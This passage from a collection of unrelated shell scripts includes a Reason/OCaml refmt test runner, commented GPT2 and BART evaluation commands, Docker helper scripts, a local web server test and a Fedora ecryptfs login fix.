./System/Modules/$dirname/Models/\"$conname.php\"\n\n\t\t\t\t\t\t\t printf \"Model created\\n\"\n\t\t\t\t\t\t\t\tprintf \"see the results in the 'System/Modules/$dirname/Models' directory\\n\"\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tprintf \"Model already exists\\n\"\n\t\t\t\t\t\t\tfi\n\t\t\t\t\t\tfi\n\t\t\t\t\tfi\n\t\t\t\tfi\n\t\t\t;;\n\t\t\t*)\n\t\t\t\tprintf \"Hmm, it seems NSY never use that mode.\\n\"\n\t\t\t;;\n\t\tesac\n\tfi\n}"} {"text": "#(c) 2021 NCSOFT Corporation & Korea University. All rights reserved.\n###decoder MTL\n#CUDA_VISIBLE_DEVICES=0 nohup python evaluate_test.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_transformer-decoder_E2_L10 > test_log_focus/test_DECODER_MTL.log &\n#CUDA_VISIBLE_DEVICES=6 nohup python evaluate_test_ppl.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_transformer-decoder_E2_L10 > test_log_focus/test_DECODER_MTL_ppl.log &\n\n###encdec MTL\n#CUDA_VISIBLE_DEVICES=1 nohup python evaluate_test.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_transformer-encdec_E2_L10 > test_log_focus_txt/test_ENCDEC_MTL.log &\n#CUDA_VISIBLE_DEVICES=6 nohup python evaluate_test_ppl.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_transformer-encdec_E2_L10 > test_log_focus_txt/test_ENCDEC_MTL_ppl.log &\n\n###gpt2 MTL\n#CUDA_VISIBLE_DEVICES=2 nohup python evaluate_test.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10 > test_log_focus_txt/test_GPT_MTL.log &\n#CUDA_VISIBLE_DEVICES=6 nohup python evaluate_test_ppl.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10 > test_log_focus_txt/test_GPT_MTL_ppl.log &\n\n###bart MTL\n#CUDA_VISIBLE_DEVICES=3 nohup python evaluate_test.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10 > test_log_focus_txt/test_BART_MTL.log &\n#CUDA_VISIBLE_DEVICES=6 nohup python evaluate_test_ppl.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10 > test_log_focus_txt/test_BART_MTL_ppl.log &\n\n###########ablations##########\n###gpt2 LM\n#CUDA_VISIBLE_DEVICES=7 nohup python evaluate_test.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_LM > test_log_focus_txt/test_GPT_LM.log &\n#CUDA_VISIBLE_DEVICES=0 nohup python evaluate_test_ppl.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_LM > test_log_focus_txt/test_GPT_LM_ppl.log &\n\n###bart LM\n#CUDA_VISIBLE_DEVICES=7 nohup python evaluate_test.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_LM > test_log_focus_txt/test_BART_LM.log &\n#CUDA_VISIBLE_DEVICES=1 nohup python evaluate_test_ppl.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_LM > test_log_focus_txt/test_BART_LM_ppl.log &\n\n\n##gpt2 WOKS\n#CUDA_VISIBLE_DEVICES=2 nohup python evaluate_test.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_WO_KS > test_log_focus_txt/test_GPT_wo_ks.log &\n#CUDA_VISIBLE_DEVICES=2 nohup python evaluate_test_ppl.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_WO_KS > test_log_focus_txt/test_GPT_wo_ks_ppl.log &\n\n#\n##bart WOKS\n#CUDA_VISIBLE_DEVICES=3 nohup python evaluate_test.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_WO_KS > test_log_focus_txt/test_BART_wo_ks.log &\n#CUDA_VISIBLE_DEVICES=3 nohup python evaluate_test_ppl.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_WO_KS > test_log_focus_txt/test_BART_wo_ks_ppl.log &\n\n\n##gpt2 WOPS\n#CUDA_VISIBLE_DEVICES=6 nohup python evaluate_test.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_WO_PS > test_log_focus_txt/test_GPT_wo_ps.log &\n#CUDA_VISIBLE_DEVICES=6 nohup python evaluate_test_ppl.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_WO_PS > test_log_focus_txt/test_GPT_wo_ps_ppl.log &\n\n\n##bart WOPS\n#CUDA_VISIBLE_DEVICES=7 nohup python evaluate_test.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_WO_PS > test_log_focus_txt/test_BART_wo_ps.log &\n#CUDA_VISIBLE_DEVICES=7 nohup python evaluate_test_ppl.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_WO_PS > test_log_focus_txt/test_BART_wo_ps_ppl.log &\n\n\n##########large models##########\n##gpt2 medium\n#CUDA_VISIBLE_DEVICES=3 nohup python evaluate_test.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_large > test_log_focus_txt/test_GPT2_large_MTL.log &\n#CUDA_VISIBLE_DEVICES=3 nohup python evaluate_test_ppl.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_large > test_log_focus_txt/test_GPT2_large_MTL_ppl.log &\n\n##bart large\n#CUDA_VISIBLE_DEVICES=4 nohup python evaluate_test.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_large > test_log_focus_txt/test_BART_large_MTL.log &\n#CUDA_VISIBLE_DEVICES=4 nohup python evaluate_test_ppl.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_large > test_log_focus_txt/test_BART_large_MTL_ppl.log &\n\n##gpt2 medium LM\n#CUDA_VISIBLE_DEVICES=5 nohup python evaluate_test.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_large_LM > test_log_focus_txt/test_GPT2_large_LM.log &\n#CUDA_VISIBLE_DEVICES=5 nohup python evaluate_test_ppl.py --model_name GPT2 --model_checkpoint /home/mnt/user/focus/train_focus_GPT2_E2_L10_large_LM > test_log_focus_txt/test_GPT2_large_LM_ppl.log &\n\n##bart large LM\n#CUDA_VISIBLE_DEVICES=6 nohup python evaluate_test.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_large_LM > test_log_focus_txt/test_BART_large_LM.log &\n#CUDA_VISIBLE_DEVICES=6 nohup python evaluate_test_ppl.py --model_name BART --model_checkpoint /home/mnt/user/focus/train_focus_BART_E2_L10_large_LM > test_log_focus_txt/test_BART_large_LM_ppl.log &\n\necho"} {"text": "1000+\n#!/usr/bin/env bash\n# Copyright (c) 2015-present, Facebook, Inc. All rights reserved.\n\nset -eu\n\nWARNING='\\033[0;31m'\nSUCCESS='\\033[0;32m'\nNOTICE='\\033[0;33m'\nINFO=''\nDEBUG=''\nRESET='\\033[0m'\nVERBOSE=${VERBOSE:-}\nOCAML_VERSION=`echo $(ocaml -version) | egrep -o '[0-9]+.[0-9]+.[0-9]+' | head -1`\nOCAML_VERSION=${OCAML_VERSION:-\"4.06.2\"}\n\ncase ${OCAML_VERSION} in\n4.08.*) OCAML_VERSION=4.08.0;;\n4.09.*|4.10.*|4.11.*|4.12.*|4.13.*) OCAML_VERSION=4.09.0;; # Outputs from OCaml 4.10 / 4.11 are exepected to be the same as OCaml 4.09\nesac\n\nunameOut=\"$(uname -s)\"\n# Create paths of shape C:/ not /c/ form, so use pwd -W on windows bash.\ncase \"${unameOut}\" in\n MINGW*) DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd -W )\";;\n *) DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nesac\n\ncase \"${unameOut}\" in\n MINGW*) REFMT_NAME_FOR_OCAML=$(cygpath --mixed --absolute $(which refmt.exe));;\n *) REFMT_NAME_FOR_OCAML=\"refmt\"\nesac\n\n\n\n# for better visual diffing in the terminal, try https://github.com/jeffkaufman/icdiff\nif hash icdiff 2> /dev/null; then\n DIFF=\"icdiff\"\nelif hash git 2> /dev/null; then\n # Pass core.safecrlf=false to avoid warnings on windows\n DIFF=\"git -c core.safecrlf=false --no-pager diff --no-index\"\nelse\n DIFF=\"eval diff --unchanged-line-format='' --new-line-format=':%dn: %L' --old-line-format=':%dn: %L'\"\nfi\n\nUNIT_TEST_INPUT=$DIR/unit_tests/input\n\nUNIT_TEST_OUTPUT=$DIR/unit_tests/actual_output\n\nUNIT_TEST_EXPECTED_OUTPUT=$DIR/unit_tests/expected_output\n\nIDEMPOTENT_TEST_INPUT=$DIR/idempotentTests/input\n\nIDEMPOTENT_TEST_OUTPUT=$DIR/idempotentTests/actual_output\n\nIDEMPOTENT_TEST_EXPECTED_OUTPUT=$DIR/idempotentTests/expected_output\n\nTYPE_TEST_INPUT=$DIR/typeCheckedTests/input\n\nTYPE_TEST_OUTPUT=$DIR/typeCheckedTests/actual_output\n\nTYPE_TEST_EXPECTED_OUTPUT=$DIR/typeCheckedTests/expected_output\n\n\nERROR_TEST_INPUT=$DIR/errorTests/input\n\nERROR_TEST_OUTPUT=$DIR/errorTests/actual_output\n\nERROR_TEST_EXPECTED_OUTPUT=$DIR/errorTests/expected_output\n\n\nOPRINT_TEST_INPUT=$DIR/oprintTests/input\n\nOPRINT_TEST_OUTPUT=$DIR/oprintTests/actual_output\n\nOPRINT_TEST_EXPECTED_OUTPUT=$DIR/oprintTests/expected_output\n\nOPRINT_TEST_INTF_OUTPUT=$DIR/oprintTests/intf_output\n\n\nFAILED_TESTS=$DIR/failed_tests\n\nfunction info() {\n printf \"${INFO}$1${RESET}\\n\"\n}\n\nfunction debug() {\n if [ ! -z \"$VERBOSE\" ]; then\n printf \"${DEBUG}$1${RESET}\\n\"\n fi\n}\n\nfunction notice() {\n printf \"${NOTICE}$1${RESET}\\n\"\n}\n\nfunction success() {\n printf \"${SUCCESS}$1${RESET}\"\n}\n\nfunction output() {\n printf \"$1\\n\"\n}\n\nfunction warning() {\n printf \"${WARNING}$1${RESET}\\n\"\n}\n\nfunction version() {\n echo \"$@\" | awk -F . '{ printf(\"%03d%03d%03d\\n\", $1, $2, $3); }';\n}\n\nfunction setup_test_dir() {\n echo \"Setting up test dirs actual_output alongside the tests' expected_output\"\n mkdir -p $UNIT_TEST_OUTPUT $IDEMPOTENT_TEST_OUTPUT $TYPE_TEST_OUTPUT $ERROR_TEST_OUTPUT $OPRINT_TEST_OUTPUT $OPRINT_TEST_INTF_OUTPUT\n touch $FAILED_TESTS\n}\n\nsetup_test_dir\n\nset +e\n\nfunction stdin_test() {\n INPUT_FILE=$1\n OUTPUT_FILE=$2\n EXPECTED_OUTPUT_FILE=$3\n # explicitly pass in heuristics file because idempotent tests read from output directory\n HEURISTICS_FILE=$4\n if [[ -z \"${5-}\" ]]; then\n EXTRA_FLAGS='--interface false --parse re'\n else\n EXTRA_FLAGS=\"$5\"\n fi\n\n FILENAME=$(basename $INPUT_FILE)\n FILEEXT=\"${FILENAME##*.}\"\n\n if [[ $FILEEXT = \"re\" ]]; then\n cat $INPUT_FILE | refmt $EXTRA_FLAGS --print-width 50 --print re 2>&1 > $OUTPUT_FILE\n elif [[ $FILEEXT = \"rei\" ]]; then\n cat $INPUT_FILE | refmt --interface true --print-width 50 --parse re --print re 2>&1 > $OUTPUT_FILE\n elif [[ $FILEEXT = \"ml\" ]]; then\n cat $INPUT_FILE | refmt --heuristics-file $HEURISTICS_FILE --interface false --print-width 50 --parse ml --print re 2>&1 > $OUTPUT_FILE\n elif [[ $FILEEXT = \"mli\" ]]; then\n cat $INPUT_FILE | refmt --heuristics-file $HEURISTICS_FILE --interface true --print-width 50 --parse ml --print re 2>&1 > $OUTPUT_FILE\n else\n warning \" ⊘ FAILED --use-stdin \\n\"\n info \" Cannot determine default implementation parser for extension ${FILEEXT}\"\n return 1\n fi\n\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ FAILED --use-stdin \\n\"\n info \" There was an error when testing --use-stdin\"\n info \" for input file $INPUT_FILE\"\n info \" and output file $OUTPUT_FILE${RESET}\"\n echo \"\"\n return 1\n fi\n\n debug \" Comparing --use-stdin results: diff $EXPECTED_OUTPUT_FILE $OUTPUT_FILE\"\n $DIFF $EXPECTED_OUTPUT_FILE $OUTPUT_FILE\n\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ FAILED --use-stdin \\n\"\n info \" ${INFO}$OUTPUT_FILE${RESET}\"\n info \" doesn't match expected output\"\n info \" ${INFO}$EXPECTED_OUTPUT_FILE${RESET}\"\n echo \"\"\n return 1\n fi\n return 0\n}\n\nfunction unit_test() {\n FILE=$1\n INPUT=$2\n OUTPUT=$3\n EXPECTED_OUTPUT=$4\n\n FILENAME=$(basename $FILE)\n FILEEXT=\"${FILENAME##*.}\"\n\n\n OUTPUT_NOT_GENERATED=\"0\"\n info \"Unit Test: $FILE\"\n if [ \"$(basename $FILE)\" != \"$(basename $FILE .ml)\" ] || [ \"$(basename $FILE)\" != \"$(basename $FILE .mli)\" ]; then\n if [ \"$(basename $FILE)\" != \"$(basename $FILE .ml)\" ]; then\n SUFFIX=\".re\"\n REFILE=\"$(basename $FILE .ml)$SUFFIX\"\n else\n SUFFIX=\".rei\"\n REFILE=\"$(basename $FILE .mli)$SUFFIX\"\n fi\n\n BASE_NAME=$(echo $FILE | cut -d '.' -f 1)\n MIN_VERSION=$(basename $FILE $SUFFIX | cut -d '.' -f 2-4)\n\n if [ \"$MIN_VERSION\" != \"$BASE_NAME\" ] && [ \"$(version \"$OCAML_VERSION\")\" -lt \"$(version \"$MIN_VERSION\")\" ]\n then\n notice \" ☒ IGNORED REFMT STEP: Requires OCaml >= $MIN_VERSION\"\n OUTPUT_NOT_GENERATED=1\n else\n debug \"refmt --heuristics-file $INPUT/arity.txt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$REFILE\"\n refmt --heuristics-file $INPUT/arity.txt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$REFILE\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ TEST FAILED CONVERTING ML TO RE\\n\"\n return 1\n fi\n FILE=$REFILE\n fi\n\n else\n debug \" 'refmt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$FILE'\"\n refmt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$FILE\n fi\n\n OFILE=\"${FILE}\"\n VERSION_SPECIFIC_FILE=\"${FILE}.${OCAML_VERSION}\"\n if [ -f \"${EXPECTED_OUTPUT}/${VERSION_SPECIFIC_FILE}\" ]; then\n echo \"Found test file specific to version ${OCAML_VERSION}...\"\n OFILE=\"${VERSION_SPECIFIC_FILE}\"\n fi\n\n if [ \"$OUTPUT_NOT_GENERATED\" == \"0\" ]; then\n debug \" Comparing results: diff $EXPECTED_OUTPUT/$OFILE $OUTPUT/$FILE\"\n\n $DIFF $EXPECTED_OUTPUT/$OFILE $OUTPUT/$FILE\n\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ FAILED\\n\"\n info \" ${INFO}$OUTPUT/$FILE${RESET}\"\n info \" doesn't match expected output\"\n info \" ${INFO}$EXPECTED_OUTPUT/$OFILE${RESET}\"\n info \"\"\n info \" To approve the changes run:\"\n info \" cp $OUTPUT/$FILE $EXPECTED_OUTPUT/$OFILE\"\n echo \"\"\n return 1\n fi\n\n debug \"Testing --use-stdin\"\n stdin_test $INPUT/$1 $OUTPUT/$FILE $EXPECTED_OUTPUT/$OFILE $INPUT/arity.txt\n\n if ! [[ $? -eq 0 ]]; then\n return 1\n else\n success \" ☑ PASS\"\n echo \"\"\n fi\n fi\n}\n\nfunction idempotent_test() {\n FILE=$1\n INPUT=$2\n OUTPUT=$3\n EXTRA_FLAGS=${5-}\n\n FILENAME=$(basename $FILE)\n FILEEXT=\"${FILENAME##*.}\"\n\n info \"Idempotent Test: $FILE\"\n OUTPUT_NOT_GENERATED=0\n if [ \"$(basename $FILE)\" != \"$(basename $FILE .ml)\" ] || [ \"$(basename $FILE)\" != \"$(basename $FILE .mli)\" ]; then\n if [ \"$(basename $FILE)\" != \"$(basename $FILE .ml)\" ]; then\n SUFFIX=\".re\"\n REFILE=\"$(basename $FILE .ml)$SUFFIX\"\n else\n SUFFIX=\".rei\"\n REFILE=\"$(basename $FILE .mli)$SUFFIX\"\n fi\n\n BASE_NAME=$(echo $FILE | cut -d '.' -f 1)\n MIN_VERSION=$(basename $FILE $SUFFIX | cut -d '.' -f 2-4)\n\n if [ \"$MIN_VERSION\" != \"$BASE_NAME\" ] && [ \"$(version \"$OCAML_VERSION\")\" -lt \"$(version \"$MIN_VERSION\")\" ]\n then\n notice \" ☒ IGNORED REFMT STEP: Requires OCaml >= $MIN_VERSION\"\n OUTPUT_NOT_GENERATED=\"1\"\n else\n debug \" Converting $FILE to $REFILE:\"\n\n debug \" Formatting Once: refmt $EXTRA_FLAGS --heuristics-file $INPUT/arity.txt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$REFILE\"\n refmt --heuristics-file $INPUT/arity.txt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$REFILE\n if ! [[ $? -eq 0 ]]; then\n warning \"⊘ FAILED\\n\"\n return 1\n fi\n FILE=$REFILE\n debug \" Generating output again: refmt $EXTRA_FLAGS --print-width 50 --print re $OUTPUT/$FILE 2>&1 > $OUTPUT/$FILE.formatted\"\n refmt --print-width 50 --print re $OUTPUT/$FILE 2>&1 > $OUTPUT/$FILE.formatted\n fi\n else\n debug \" Formatting Once: 'refmt $EXTRA_FLAGS --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$FILE'\"\n refmt $EXTRA_FLAGS --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$FILE\n\n debug \" Generating output again: refmt $EXTRA_FLAGS --print-width 50 --print re $OUTPUT/$FILE 2>&1 > $OUTPUT/$FILE.formatted\"\n refmt $EXTRA_FLAGS --print-width 50 --print re $OUTPUT/$FILE 2>&1 > $OUTPUT/$FILE.formatted\n fi\n\n if [ \"$OUTPUT_NOT_GENERATED\" == \"0\" ]; then\n $DIFF $OUTPUT/$FILE $OUTPUT/$FILE.formatted\n if ! [[ $? -eq 0 ]]; then\n warning \"⊘ FAILED\\n\"\n info \" ${INFO}$OUTPUT/$FILE.formatted${RESET}\\n\"\n info \" is not same as\"\n info \" ${INFO}$OUTPUT/$FILE${RESET}\"\n return 1\n fi\n\n debug \"Testing --use-stdin\"\n stdin_test $INPUT/$1 $OUTPUT/$FILE $OUTPUT/$FILE $INPUT/arity.txt \"$EXTRA_FLAGS\"\n\n if ! [[ $? -eq 0 ]]; then\n return 1\n else\n stdin_test $OUTPUT/$FILE $OUTPUT/$FILE.formatted $OUTPUT/$FILE $INPUT/arity.txt \"$EXTRA_FLAGS\"\n if ! [[ $? -eq 0 ]]; then\n return 1\n else\n success \" ☑ PASS\"\n echo\n fi\n fi\n fi\n}\n\nfunction typecheck_test() {\n FILE=$(basename $1)\n INPUT=$2\n OUTPUT=$3\n\n info \"Typecheck Test: $1\"\n\n if [ \"$FILE\" != \"$(basename $FILE .ml)\" ] || [ \"$FILE\" != \"$(basename $FILE .mli)\" ]; then\n if [ \"$FILE\" != \"$(basename $FILE .ml)\" ]; then\n SUFFIX=\".re\"\n REFILE=\"$(basename $FILE .ml)$SUFFIX\"\n else\n SUFFIX=\".rei\"\n REFILE=\"$(basename $FILE .mli)$SUFFIX\"\n fi\n\n BASE_NAME=$(echo $FILE | cut -d '.' -f 1)\n MIN_VERSION=$(basename $FILE $SUFFIX | cut -d '.' -f 2-4)\n\n if [ \"$MIN_VERSION\" != \"$BASE_NAME\" ] && [ \"$(version \"$OCAML_VERSION\")\" -lt \"$(version \"$MIN_VERSION\")\" ]\n then\n notice \" ☒ IGNORED REFMT STEP: Requires OCaml >= $MIN_VERSION\"\n else\n debug \" Converting $FILE to $REFILE:\"\n debug \"refmt --heuristics-file $INPUT/arity.txt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$REFILE\"\n refmt --heuristics-file $INPUT/arity.txt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$REFILE\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ FAILED\\n\"\n return 1\n fi\n FILE=$REFILE\n fi\n else\n debug \" Formatting: refmt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$FILE\"\n refmt --print-width 50 --print re $INPUT/$FILE 2>&1 > $OUTPUT/$FILE\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ FAILED\\n\"\n return 1\n fi\n fi\n\n if [ \"$FILE\" != \"$(basename $FILE .re)\" ]; then\n SUFFIX=\".re\"\n COMPILE_FLAGS=\"-intf-suffix .rei -impl\"\n else\n SUFFIX=\".rei\"\n COMPILE_FLAGS=\"-intf\"\n fi\n\n BASE_NAME=$(echo $FILE | cut -d '.' -f 1)\n MIN_VERSION=$(basename $FILE $SUFFIX | cut -d '.' -f 2-4)\n\n if [ \"$MIN_VERSION\" != \"$BASE_NAME\" ] && [ \"$(version \"$OCAML_VERSION\")\" -lt \"$(version \"$MIN_VERSION\")\" ]\n then\n notice \" ☒ IGNORED COMPILATION STEP: Requires OCaml >= $MIN_VERSION\"\n else\n debug \" Compiling: ocamlc -c -pp $REFMT_NAME_FOR_OCAML $COMPILE_FLAGS $OUTPUT/$FILE\"\n ocamlc -c -pp \"$REFMT_NAME_FOR_OCAML --print binary\" $COMPILE_FLAGS \"$OUTPUT/$FILE\"\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ FAILED\\n\"\n return 1\n fi\n fi\n\n success \" ☑ PASS\"\n echo\n}\n\nfunction oprint_test() {\n FILE=$1\n INPUT=$2\n OUTPUT=$3\n EXPECTED_OUTPUT=$4\n INTF_OUTPUT=$5\n\n FILENAME=$(basename $FILE)\n FILEEXT=\"${FILENAME##*.}\"\n\n\n info \"Outcome Printer Test: $FILE\"\n\n debug \" 'cat $FILE | testOprint $INPUT/$FILE 2>&1 > $OUTPUT/$FILE'\"\n cat $INPUT/$FILE | testOprint $INPUT/$FILE 2>&1 > $OUTPUT/$FILE\n\n debug \" 'cp $OUTPUT/$FILE $INTF_OUTPUT/$(basename $FILE .re).rei\"\n cp $OUTPUT/$FILE $INTF_OUTPUT/$(basename $FILE .re).rei\n\n\n OFILE=\"${FILE}\"\n VERSION_SPECIFIC_FILE=\"${FILE}.${OCAML_VERSION}\"\n if [ -f \"${EXPECTED_OUTPUT}/${VERSION_SPECIFIC_FILE}\" ]; then\n echo \"Found test file specific to version ${OCAML_VERSION}...\"\n OFILE=\"${VERSION_SPECIFIC_FILE}\"\n fi\n\n debug \" Comparing results: diff $EXPECTED_OUTPUT/$OFILE $OUTPUT/$FILE\"\n\n $DIFF $EXPECTED_OUTPUT/$OFILE $OUTPUT/$FILE\n\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ FAILED\\n\"\n info \" ${INFO}$OUTPUT/$FILE${RESET}\"\n info \" doesn't match expected output\"\n info \" ${INFO}$EXPECTED_OUTPUT/$OFILE${RESET}\"\n info \"\"\n info \" To approve the changes run:\"\n info \" cp $OUTPUT/$FILE $EXPECTED_OUTPUT/$OFILE\"\n echo \"\"\n return 1\n fi\n\n if ! [[ $? -eq 0 ]]; then\n return 1\n else\n success \" ☑ PASS\"\n echo\n fi\n}\n\nfunction error_test() {\n FILE=$1\n INPUT=$2\n OUTPUT=$3\n EXPECTED_OUTPUT=$4\n\n info \"Error Test: $FILE\"\n if [ \"$(basename $FILE)\" != \"$(basename $FILE .ml)\" ] || [ \"$(basename $FILE)\" != \"$(basename $FILE .mli)\" ]; then\n warning \" ⊘ FAILED: .ml files should not need to be run against error tests. \\n\"\n return 1\n else\n debug \" 'refmt --print-width 50 --print re $INPUT/$FILE &> $OUTPUT/$FILE'\"\n # ensure errors are not absolute filepaths\n cd $INPUT\n refmt --print-width 50 --print re $(basename $FILE) &> $OUTPUT/$FILE\n cd - > /dev/null\n fi\n\n OFILE=\"${FILE}\"\n VERSION_SPECIFIC_FILE=\"${FILE}.${OCAML_VERSION}\"\n if [ -f \"${EXPECTED_OUTPUT}/${VERSION_SPECIFIC_FILE}\" ]; then\n echo \"Found test file specific to version ${OCAML_VERSION}...\"\n OFILE=\"${VERSION_SPECIFIC_FILE}\"\n fi\n\n debug \" Comparing results: diff $EXPECTED_OUTPUT/$OFILE $OUTPUT/$FILE\"\n\n $DIFF $EXPECTED_OUTPUT/$OFILE $OUTPUT/$FILE\n\n if ! [[ $? -eq 0 ]]; then\n warning \" ⊘ FAILED\\n\"\n info \" ${INFO}$OUTPUT/$FILE${RESET}\"\n info \" doesn't match expected output\"\n info \" ${INFO}$EXPECTED_OUTPUT/$OFILE${RESET}\"\n info \"\"\n info \" To approve the changes run:\"\n info \" cp $OUTPUT/$FILE $EXPECTED_OUTPUT/$OFILE\"\n echo \"\"\n return 1\n fi\n\n success \" ☑ PASS\"\n echo\n}\n\n\ncd $OPRINT_TEST_INPUT && find . -type f \\( -name \"*.re*\" -or -name \"*.ml*\" \\) | while read file; do\n oprint_test $file $OPRINT_TEST_INPUT $OPRINT_TEST_OUTPUT $OPRINT_TEST_EXPECTED_OUTPUT $OPRINT_TEST_INTF_OUTPUT\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed unit_test\" >> $FAILED_TESTS\n fi\n\n idempotent_test $file $OPRINT_TEST_OUTPUT $OPRINT_TEST_INTF_OUTPUT $OPRINT_TEST_EXPECTED_OUTPUT '-i true --parse re'\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed idempotent_test\" >> $FAILED_TESTS\n fi\ndone\n\ncd $UNIT_TEST_INPUT && find . -type f \\( -name \"*.re*\" -or -name \"*.ml*\" \\) | while read file; do\n unit_test $file $UNIT_TEST_INPUT $UNIT_TEST_OUTPUT $UNIT_TEST_EXPECTED_OUTPUT\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed unit_test\" >> $FAILED_TESTS\n fi\n\n idempotent_test $file $UNIT_TEST_INPUT $UNIT_TEST_OUTPUT $UNIT_TEST_EXPECTED_OUTPUT\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed idempotent_test\" >> $FAILED_TESTS\n fi\ndone\n\ncd $IDEMPOTENT_TEST_INPUT && find . -type f \\( -name \"*.re*\" -or -name \"*.ml*\" \\) | while read file; do\n idempotent_test $file $IDEMPOTENT_TEST_INPUT $IDEMPOTENT_TEST_OUTPUT $IDEMPOTENT_TEST_EXPECTED_OUTPUT\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed idempotent_test\" >> $FAILED_TESTS\n fi\ndone\n\ncd $TYPE_TEST_INPUT\nfind . -type f \\( -name \"*.re*\" -or -name \"*.ml*\" \\) | sort | while read file; do\n typecheck_test $file $TYPE_TEST_INPUT $TYPE_TEST_OUTPUT\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed typecheck_test\" >> $FAILED_TESTS\n fi\n unit_test $file $TYPE_TEST_INPUT $TYPE_TEST_OUTPUT $TYPE_TEST_EXPECTED_OUTPUT\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed unit_test\" >> $FAILED_TESTS\n fi\n idempotent_test $file $TYPE_TEST_INPUT $TYPE_TEST_OUTPUT $TYPE_TEST_EXPECTED_OUTPUT\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed idempotent_test\" >> $FAILED_TESTS\n fi\ndone\n\ncd $ERROR_TEST_INPUT && find . -type f \\( -name \"*.re*\" -or -name \"*.ml*\" \\) | while read file; do\n error_test $file $ERROR_TEST_INPUT $ERROR_TEST_OUTPUT $ERROR_TEST_EXPECTED_OUTPUT\n if ! [[ $? -eq 0 ]]; then\n echo \"$file -- failed error_test\" >> $FAILED_TESTS\n fi\ndone\n\nif [[ -s $FAILED_TESTS ]]; then\n warning \"Failed tests:\"\n cat $FAILED_TESTS\n exit 1\nfi\n\nexit 0"} {"text": "#! /bin/bash\n\nif [[ $(docker images) != *layback* ]]; then\n\tdocker build --tag=\"layback\" ./\nfi\n\nROOT_PATH=$(pwd)\ndocker run --rm -it -v $ROOT_PATH:/var/www layback"} {"text": "for i in {1..20}\ndo\n echo \"Starting learner $i...\"\n ./oware_rl.exe > logs/log$i.txt 2>&1 & disown\ndone"} {"text": "#!/bin/bash\nset -ex\nsudo ./extrace -tuj 2>/dev/null|grep '^{'|jq"} {"text": "#!/bin/bash\ncd ..\npython3 webserv.py config.cfg &\nPID=$!\ncd - > /dev/null\nsleep 1\ncurl localhost:8070/cgibin/servaddr.py 2> /dev/null | diff - server_env_test.out\n# curl localhost:8070/greetings.html 2> /dev/null\nkill $PID"} {"text": "#!/usr/bin/env bash\n\ndocker container rm -f console03_1\n\ndocker container run --name console03_1 -p9000:9000 -d console03_new"} {"text": "#!/bin/sh\n\n# Fedora 29 - fix ecryptfs automount upon login\n# \n# Bug: https://bugzilla.redhat.com/show_bug.cgi?id=1577174\n#\n\nsudo /usr/bin/authselect select sssd --force with-ecryptfs"} {"text": "markdown/old/build_short_resume.sh\nLONG_EXCL=$(cat marker/long)\nPAPR_EXCL=$(cat 